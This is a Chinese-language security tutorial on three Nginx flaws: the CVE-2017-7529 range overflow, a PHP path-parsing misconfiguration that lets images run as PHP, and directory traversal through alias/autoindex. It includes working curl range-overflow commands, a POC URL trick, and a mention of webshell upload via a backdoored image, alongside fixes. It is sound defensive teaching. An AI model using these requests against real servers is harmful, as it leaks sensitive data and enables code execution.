[TOC]

注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

CVE-2017-7529 (溢出漏洞)

描述: Nginx range 过滤器整形溢出漏洞
漏洞信息: 当使用nginx标准模块时,攻击者可以通过发送包含恶意构造 range 域的 header 请求,来获取响应中的缓存文件头部信息。在某些配置中缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。
漏洞影响: 当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息;通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定利用价值。
影响版本: Nginx version 0.5.6 - 1.13.2
漏洞利用:

1
2
3
4
5
6
7
#访问缓存文件拿到 Content-Length,以 /proxy/demo.png 为例:
$ curl -I http://127.0.0.1:8000/proxy/demo.png
Content-Length: 16585

#找个比 Content-Length: 16585 这个数大的值
#例如 17208, 第二个 range 值为 0x8000000000000000-17208, 也就是 9223372036854758600
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600

WeiyiGeek.

WeiyiGeek.


Nginx文件类型错误解析漏洞

描述:Nginx漏洞分析实例,在2010年的时候国内安全组织80Sec发现了一个Nginx文件类型解析漏洞,但实际上这个并非Nginx本身的漏洞,而是由于配置导致的安全问题。
漏洞危害:利用该漏洞,攻击者可以将任意文件类型作为PHP文件解析。
漏洞分析:Nginx默认是以CGI的方式支持PHP的解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。
配置文件中会有类似如下内容:

1
2
3
4
5
6
7
8
#location ~ \.php$ {
# root html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
# include fastcgi_params;
# index index.php
#}

问题产生: location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量 SCRIPT_FILENAME , 然后是由Nginx生成的$fastcgi_script_name来决定的;通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的这里就是产生问题的点;
当访问 http://192.168.1.103/phpinfo.jpg/1.php这个URL时 $fastcgi_script_name会被设置为“phpinfo.jpg/1.php “ ,然后构造成SCRIPT_FILENAME传递给PHP CGI;
但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?
1
2
3
4
#由于php.ini文件中的cgi参数
cgi.fix_pathinfo=1

#如果开启了这个选项, 那么就会触发在PHP中的如下逻辑:

到这里PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

漏洞利用:假设某一服务器存在该漏洞,攻击者可以通过上传一张包含PHP后门代码的图片来获取WebShell,这是一种常见的攻击方式。
POC: 访问一个nginx来支持php的站点,在一个任何资源的文件如robots.txt后面加上/80sec.php,这个时候你可以看到如下的区别:

1
2
3
4
5
6
7
8
9
10
11
12
#访问http://www.80sec.com/robots.txt
HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:05:30 GMT
Content-Type: text/plain #关键点

#访问http://www.80sec.com/robots.txt/80sec.php
HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:06:49 GMT
Content-Type: text/html #关键点
#其中的Content-Type的变化说明了后端负责解析的变化,该站点就可能存在漏洞。

解决办法:

1
2
3
4
5
6
7
#方式1:
php.ini文件将 cgi.fix_pathinfo 的值设置为0

#方式2:
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}


Nginx配置错误而导致目录遍历漏洞

1
2
3
4
5
#在Nginx的配置文件中如果开启了autoindex选项,并采用类似下面的配置时会造成目录遍历漏洞。
location /test {
alias html/test/;
autoindex on;
}